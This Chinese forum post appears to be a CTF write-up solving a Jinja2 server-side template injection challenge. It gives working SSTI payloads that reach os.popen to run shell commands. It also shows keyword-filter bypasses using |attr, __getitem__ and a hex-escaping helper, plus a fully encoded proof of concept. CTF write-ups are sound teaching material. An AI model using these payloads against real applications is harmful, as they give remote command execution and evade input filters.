找回密码
 立即注册
搜索
热搜: 活动 交友
查看: 36|回复: 0

一道关于 SSTI 签到题

[复制链接]

15

主题

31

回帖

1089

积分

版主

积分
1089
发表于 昨天 20:37 | 显示全部楼层 |阅读模式

本帖最后由 littleblackLB 于 2-13-2026 21:33 编辑

一道 SSTI 签到题 SWPUCTF 2025 秋季新生赛 诚实大厅

Tag: #web #upload #jinja2
Environment: #Python3

什么是 SSTI

SSTI是Server-Side Template Injection的缩写,是一种Web应用程序安全漏洞,主要存在于使用基于模板引擎的Web应用程序中。

思路

  • 通过 response header 可知是 Python 后端,由于题中说是 ssti 因此可以推断是 jinja2
  • 由于没有回显,尝试上传到静态资源文件夹
    x.__class__.__init__.__globals__["__builtins__"].__import__('os').popen('mkdir /app/static && cat /flag > /app/flag').read()}}
  • 发现后端有识别特殊子串与符号(如 ., [ ]),使用 |attr 以及 __getitem__ 绕过
    • {{ x |attr("__class__") |attr("__init__") |attr("__globals__") |attr("__getitem__")("__builtins__")|attr("__getitem__")("__import__")("os") |attr("popen")("mkdir /app/static/ && cat /flag > /app/static/flag") |attr("read")() }}
  • 对于特殊字串,通过转换成十六进制转义序列绕开,或者拼接字符串 "a""b"

EXP

  • 转换十六进制转义序列
def convert_string_literal_to_hex(code: str) -> str:
    def encode_match(m: re.Match) -> str:
        content = m.group(1)
        hex_repr = ''.join(f'\\x{b:02x}' for b in content.encode())
        return f'\"{hex_repr}\"'

    # Match "...." but capture only the inside
    return re.sub(r'"([^\"]*)"', encode_match, code)
  • POC: {{x|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f")("\x6f\x73")|attr("\x70\x6f\x70\x65\x6e")("\x6d\x6b\x64\x69\x72\x20\x2f\x61\x70\x70\x2f\x73\x74\x61\x74\x69\x63\x20\x26\x26\x20\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x3e\x2f\x61\x70\x70\x2f\x73\x74\x61\x74\x69\x63\x2f\x66\x6c\x61\x67")|attr("\x72\x65\x61\x64")()}}

    测试 md 图片:

    test

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|RealDevClub ( 沪ICP备2024093864号-1 )

GMT+8, 2-14-2026 07:30 , Processed in 0.222255 second(s), 20 queries .

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表